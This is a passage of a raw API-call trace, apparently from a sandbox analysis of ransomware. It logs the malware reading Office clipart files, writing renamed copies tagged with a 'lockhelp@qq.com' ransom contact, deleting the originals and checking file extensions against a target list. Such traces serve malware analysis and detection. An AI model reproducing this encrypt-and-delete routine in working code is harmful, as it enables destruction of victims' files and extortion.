lpFileSize=0x34fff14*=21946) returned 1 [0315.166] CloseHandle (hObject=0x4f0) returned 1 [0315.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220 [0315.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0315.167] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.167] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0315.168] GetLastError () returned 0x0 [0315.168] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x55ba, lpOverlapped=0x0) returned 1 [0315.549] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x55c0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x55c0, lpOverlapped=0x0) returned 1 [0315.550] ReadFile (in: hFile=0x4f0, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.550] WriteFile (in: hFile=0x414, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.550] SetEndOfFile (hFile=0x414) returned 1 [0315.559] CloseHandle (hObject=0x414) returned 1 [0315.561] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.561] SetEndOfFile (hFile=0x4f0) returned 1 [0315.582] CloseHandle (hObject=0x4f0) returned 1 [0315.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 1 [0315.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.614] lstrlenW (lpString=".doc") returned 4 [0315.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.614] lstrlenW (lpString=".docx") returned 5 [0315.614] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0315.614] lstrlenW (lpString=".pdf") returned 4 [0315.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.614] lstrlenW (lpString=".xls") returned 4 [0315.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.614] lstrlenW (lpString=".xlsx") returned 5 [0315.614] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0315.614] lstrlenW (lpString=".ppt") returned 4 [0315.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.614] lstrlenW (lpString=".zip") returned 4 [0315.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.614] lstrlenW (lpString=".rar") returned 4 [0315.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.614] lstrlenW (lpString=".bz2") returned 4 [0315.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.614] lstrlenW (lpString=".7z") returned 3 [0315.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.615] lstrlenW (lpString=".dbf") returned 4 [0315.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.615] lstrlenW (lpString=".1cd") returned 4 [0315.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF") returned 68 [0315.615] lstrlenW (lpString=".jpg") returned 4 [0315.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.615] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8754) returned 1 [0315.615] CloseHandle (hObject=0x498) returned 1 [0315.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220 [0315.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.616] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.616] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.616] GetLastError () returned 0x0 [0315.616] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x2232, lpOverlapped=0x0) returned 1 [0315.670] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x2240, lpOverlapped=0x0) returned 1 [0315.671] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.671] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.671] SetEndOfFile (hFile=0x4a0) returned 1 [0315.671] CloseHandle (hObject=0x4a0) returned 1 [0315.671] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.671] SetEndOfFile (hFile=0x498) returned 1 [0315.674] CloseHandle (hObject=0x498) returned 1 [0315.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0315.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.675] lstrlenW (lpString=".doc") returned 4 [0315.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.675] lstrlenW (lpString=".docx") returned 5 [0315.675] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0315.675] lstrlenW (lpString=".pdf") returned 4 [0315.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.675] lstrlenW (lpString=".xls") returned 4 [0315.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.675] lstrlenW (lpString=".xlsx") returned 5 [0315.675] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0315.675] lstrlenW (lpString=".ppt") returned 4 [0315.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.676] lstrlenW (lpString=".zip") returned 4 [0315.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.676] lstrlenW (lpString=".rar") returned 4 [0315.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.676] lstrlenW (lpString=".bz2") returned 4 [0315.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.676] lstrlenW (lpString=".7z") returned 3 [0315.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.676] lstrlenW (lpString=".dbf") returned 4 [0315.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.676] lstrlenW (lpString=".1cd") returned 4 [0315.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68 [0315.676] lstrlenW (lpString=".jpg") returned 4 [0315.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.676] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=37140) returned 1 [0315.676] CloseHandle (hObject=0x498) returned 1 [0315.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220 [0315.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.683] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.683] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.684] GetLastError () returned 0x0 [0315.684] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x9114, lpOverlapped=0x0) returned 1 [0315.788] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x9120, lpOverlapped=0x0) returned 1 [0315.789] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.789] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.789] SetEndOfFile (hFile=0x4a0) returned 1 [0315.789] CloseHandle (hObject=0x4a0) returned 1 [0315.790] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.790] SetEndOfFile (hFile=0x498) returned 1 [0315.792] CloseHandle (hObject=0x498) returned 1 [0315.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0315.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.793] lstrlenW (lpString=".doc") returned 4 [0315.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.793] lstrlenW (lpString=".docx") returned 5 [0315.793] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0315.793] lstrlenW (lpString=".pdf") returned 4 [0315.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.793] lstrlenW (lpString=".xls") returned 4 [0315.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.793] lstrlenW (lpString=".xlsx") returned 5 [0315.793] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0315.793] lstrlenW (lpString=".ppt") returned 4 [0315.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.794] lstrlenW (lpString=".zip") returned 4 [0315.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.794] lstrlenW (lpString=".rar") returned 4 [0315.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.794] lstrlenW (lpString=".bz2") returned 4 [0315.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.794] lstrlenW (lpString=".7z") returned 3 [0315.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.794] lstrlenW (lpString=".dbf") returned 4 [0315.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.794] lstrlenW (lpString=".1cd") returned 4 [0315.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0315.794] lstrlenW (lpString=".jpg") returned 4 [0315.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.794] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5386) returned 1 [0315.794] CloseHandle (hObject=0x498) returned 1 [0315.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0315.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.795] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.795] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0315.796] GetLastError () returned 0x0 [0315.796] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x150a, lpOverlapped=0x0) returned 1 [0315.926] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1510, lpOverlapped=0x0) returned 1 [0315.927] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.927] WriteFile (in: hFile=0x4a0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.927] SetEndOfFile (hFile=0x4a0) returned 1 [0315.932] CloseHandle (hObject=0x4a0) returned 1 [0315.936] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.936] SetEndOfFile (hFile=0x498) returned 1 [0315.949] CloseHandle (hObject=0x498) returned 1 [0315.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0315.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.950] lstrlenW (lpString=".doc") returned 4 [0315.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString=".docx") returned 5 [0315.951] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0315.951] lstrlenW (lpString=".pdf") returned 4 [0315.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString=".xls") returned 4 [0315.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.951] lstrlenW (lpString=".xlsx") returned 5 [0315.951] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0315.951] lstrlenW (lpString=".ppt") returned 4 [0315.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.951] lstrlenW (lpString=".zip") returned 4 [0315.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.951] lstrlenW (lpString=".rar") returned 4 [0315.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString=".bz2") returned 4 [0315.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString=".7z") returned 3 [0315.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.951] lstrlenW (lpString=".dbf") returned 4 [0315.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.951] lstrlenW (lpString=".1cd") returned 4 [0315.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0315.951] lstrlenW (lpString=".jpg") returned 4 [0315.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.952] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3394) returned 1 [0315.952] CloseHandle (hObject=0x498) returned 1 [0315.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0315.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.952] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.952] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.953] GetLastError () returned 0x0 [0315.953] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xd42, lpOverlapped=0x0) returned 1 [0315.960] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xd50, lpOverlapped=0x0) returned 1 [0315.961] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.961] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.961] SetEndOfFile (hFile=0x448) returned 